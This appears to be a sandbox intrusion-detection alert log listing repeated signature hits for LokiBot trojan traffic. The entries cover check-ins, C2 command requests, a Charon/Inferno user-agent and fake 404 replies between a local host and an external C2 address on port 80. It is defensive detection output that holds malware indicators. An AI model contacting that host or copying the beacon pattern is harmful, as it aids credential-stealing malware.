Timestamp:	192.168.2.3171.22.30.14750041802024318 01/05/23-08:53:52.410718
SID:	2024318
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750042802825766 01/05/23-08:53:52.687057
SID:	2825766
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750045802825766 01/05/23-08:53:53.481872
SID:	2825766
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750041802024313 01/05/23-08:53:52.410718
SID:	2024313
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749775802825766 01/05/23-08:52:32.683406
SID:	2825766
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749718802024318 01/05/23-08:52:15.464089
SID:	2024318
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750032802021641 01/05/23-08:53:49.938594
SID:	2021641
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749718802024313 01/05/23-08:52:15.464089
SID:	2024313
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749759802024318 01/05/23-08:52:28.024665
SID:	2024318
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498892025483 01/05/23-08:53:06.757466
SID:	2025483
Source Port:	80
Destination Port:	49889
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749699802021641 01/05/23-08:52:06.870270
SID:	2021641
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749848802024318 01/05/23-08:52:55.640788
SID:	2024318
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749730802024313 01/05/23-08:52:19.853027
SID:	2024313
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749788802021641 01/05/23-08:52:37.784136
SID:	2021641
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749878802025381 01/05/23-08:53:03.704233
SID:	2025381
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749730802024318 01/05/23-08:52:19.853027
SID:	2024318
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749966802021641 01/05/23-08:53:30.946864
SID:	2021641
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750044802024313 01/05/23-08:53:53.227481
SID:	2024313
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498672025483 01/05/23-08:53:00.853652
SID:	2025483
Source Port:	80
Destination Port:	49867
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497032025483 01/05/23-08:52:08.643965
SID:	2025483
Source Port:	80
Destination Port:	49703
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499982025483 01/05/23-08:53:39.543765
SID:	2025483
Source Port:	80
Destination Port:	49998
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750017802825766 01/05/23-08:53:44.537455
SID:	2825766
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749787802024313 01/05/23-08:52:37.509502
SID:	2024313
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749876802024318 01/05/23-08:53:03.175112
SID:	2024318
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498452025483 01/05/23-08:52:54.928267
SID:	2025483
Source Port:	80
Destination Port:	49845
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749787802024318 01/05/23-08:52:37.509502
SID:	2024318
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750071802025381 01/05/23-08:54:00.426977
SID:	2025381
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749876802024313 01/05/23-08:53:03.175112
SID:	2024313
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500492025483 01/05/23-08:53:54.623365
SID:	2025483
Source Port:	80
Destination Port:	50049
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749878802825766 01/05/23-08:53:03.704233
SID:	2825766
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749976802825766 01/05/23-08:53:33.629058
SID:	2825766
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749783802825766 01/05/23-08:52:36.372208
SID:	2825766
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749915802825766 01/05/23-08:53:15.112176
SID:	2825766
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749709802025381 01/05/23-08:52:11.256691
SID:	2025381
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749922802024313 01/05/23-08:53:17.061545
SID:	2024313
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750040802025381 01/05/23-08:53:52.135869
SID:	2025381
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750083802825766 01/05/23-08:54:03.789158
SID:	2825766
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750037802025381 01/05/23-08:53:51.314352
SID:	2025381
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498952025483 01/05/23-08:53:08.453954
SID:	2025483
Source Port:	80
Destination Port:	49895
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749759802024313 01/05/23-08:52:28.024665
SID:	2024313
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497592025483 01/05/23-08:52:28.116411
SID:	2025483
Source Port:	80
Destination Port:	49759
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749721802024318 01/05/23-08:52:17.231128
SID:	2024318
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749756802021641 01/05/23-08:52:27.231494
SID:	2021641
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749999802025381 01/05/23-08:53:39.715844
SID:	2025381
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749816802024318 01/05/23-08:52:45.483412
SID:	2024318
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749911802021641 01/05/23-08:53:14.014731
SID:	2021641
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749721802024313 01/05/23-08:52:17.231128
SID:	2024313
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749941802025381 01/05/23-08:53:22.165125
SID:	2025381
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749779802024318 01/05/23-08:52:35.235559
SID:	2024318
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749874802021641 01/05/23-08:53:02.624496
SID:	2021641
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749790802024318 01/05/23-08:52:38.345416
SID:	2024318
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749798802025381 01/05/23-08:52:40.547899
SID:	2025381
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749885802024318 01/05/23-08:53:05.575803
SID:	2024318
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749980802021641 01/05/23-08:53:34.702395
SID:	2021641
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749790802024313 01/05/23-08:52:38.345416
SID:	2024313
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749835802025381 01/05/23-08:52:50.902278
SID:	2025381
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749922802024318 01/05/23-08:53:17.061545
SID:	2024318
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750018802024318 01/05/23-08:53:44.999195
SID:	2024318
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749885802024313 01/05/23-08:53:05.575803
SID:	2024313
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750014802825766 01/05/23-08:53:43.719267
SID:	2825766
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749740802025381 01/05/23-08:52:22.636691
SID:	2025381
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749881802825766 01/05/23-08:53:04.500331
SID:	2825766
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750018802024313 01/05/23-08:53:44.999195
SID:	2024313
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749997802021641 01/05/23-08:53:39.208772
SID:	2021641
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749720802025381 01/05/23-08:52:16.949813
SID:	2025381
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498202025483 01/05/23-08:52:46.639144
SID:	2025483
Source Port:	80
Destination Port:	49820
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749991802024318 01/05/23-08:53:37.629731
SID:	2024318
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749763802825766 01/05/23-08:52:29.176849
SID:	2825766
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498612025483 01/05/23-08:52:59.232281
SID:	2025483
Source Port:	80
Destination Port:	49861
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749991802024313 01/05/23-08:53:37.629731
SID:	2024313
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750017802025381 01/05/23-08:53:44.537455
SID:	2025381
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749907802825766 01/05/23-08:53:12.956728
SID:	2825766
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749957802021641 01/05/23-08:53:26.768134
SID:	2021641
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749809802825766 01/05/23-08:52:43.596832
SID:	2825766
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499162025483 01/05/23-08:53:15.457182
SID:	2025483
Source Port:	80
Destination Port:	49916
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749800802825766 01/05/23-08:52:41.099242
SID:	2825766
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749701802024318 01/05/23-08:52:07.731855
SID:	2024318
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749813802021641 01/05/23-08:52:44.686594
SID:	2021641
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749701802024313 01/05/23-08:52:07.731855
SID:	2024313
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498992025483 01/05/23-08:53:10.249229
SID:	2025483
Source Port:	80
Destination Port:	49899
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750067802024313 01/05/23-08:53:59.373237
SID:	2024313
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750022802825766 01/05/23-08:53:46.665385
SID:	2825766
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749836802024318 01/05/23-08:52:51.681664
SID:	2024318
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749776802021641 01/05/23-08:52:33.619524
SID:	2021641
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749805802021641 01/05/23-08:52:42.467353
SID:	2021641
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749799802024313 01/05/23-08:52:40.836883
SID:	2024313
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749960802021641 01/05/23-08:53:28.475539
SID:	2021641
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749799802024318 01/05/23-08:52:40.836883
SID:	2024318
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498582025483 01/05/23-08:52:58.421210
SID:	2025483
Source Port:	80
Destination Port:	49858
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749984802825766 01/05/23-08:53:35.743967
SID:	2825766
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749933802025381 01/05/23-08:53:20.043516
SID:	2025381
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749770802024318 01/05/23-08:52:31.112136
SID:	2024318
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749882802021641 01/05/23-08:53:04.789158
SID:	2021641
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749855802025381 01/05/23-08:52:57.514506
SID:	2025381
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749942802024318 01/05/23-08:53:22.441601
SID:	2024318
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749942802024313 01/05/23-08:53:22.441601
SID:	2024313
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749770802024313 01/05/23-08:52:31.112136
SID:	2024313
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498362025483 01/05/23-08:52:51.771164
SID:	2025483
Source Port:	80
Destination Port:	49836
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749979802025381 01/05/23-08:53:34.430839
SID:	2025381
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749752802025381 01/05/23-08:52:26.039085
SID:	2025381
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749795802825766 01/05/23-08:52:39.717554
SID:	2825766
Source Port:	49795
Destination Port:	80
Protocol:	TCP
